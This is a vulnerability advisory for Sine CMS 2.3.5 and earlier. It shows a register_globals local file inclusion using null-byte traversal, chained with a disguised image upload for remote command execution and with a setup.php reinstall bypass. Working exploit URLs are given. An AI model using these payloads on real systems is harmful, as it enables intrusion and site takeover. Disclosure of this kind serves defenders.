| Sine CMS Local File Inclusion / RCE (Register_globals: ON) |
| Version: <= 2.3.5 |
| Vendor: www.sinecms.net |
| Discovered by: KiNgOfThEwOrLd |
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Intro:
Sine cms is affected by a local file inclusion vulnerabily with
register_globals on.
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Related code:
/mods/Integrated/index.php
<?
if ($_GET[page]=="source"){
include "mods/Integrated/source.php";
} else {
// cerca la home e la themizza
include_once ("mods/".$sine[config][index_main]."/index.php");
$mods = $sine[config][index_main];
}
?>
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PoC:
Usually, this is a correctly code, with no possible exploitation. But if register_globals is ON, we can edit via GET the $sine[config][index_main] value, and then, using null byte, we'll get a local file inclusion vulnerability like:
http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]={FILE_TO_INCLUDE}%00
But pay attention, in this way the include_one function will try to include "mods/{FILE}"; certainly, using the directory traversal var, we can surf and include any files, but "mods/{FILE}" is different from "/mods/{FILE}"! In fact, in this case, the script will try to include "/mods/Integrated/mods/{FILE}"! So, the cms root path will be accessible with "../../../" and not "../../".
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How to get a Remote Command Execution
Sine CMS, allows everybody to send a news with an image, uploadable directly on the host. Then, uploading an evil script as an image, we'll get a shell in /mods/Core/data/images/{EVIL_IMAGE}. Now, including that file by the local file inclusion vulnerability that i've just explaned we'll get a remote command execution.
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Exploit:
http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
/../Core/data/images/{EVIL}.jpg%00
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Just a little security issue
Realted code:
setup.php @ line 98
[...]
if(file_exists("./sine.lock")) $locked=1;
[...]
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PoC:
After the installation, sine cms makes a file (sine.lock), to check if the cms has been already installed. But the condition is true if "./sine.lock" exist, so only if there is sine.lock in the current work dir! Then, including via local file inclusion "setup.php" the condition will result false, and we can rewrite, delete, or edit the installation.
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Exploit:
http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=../../../setup.php%00
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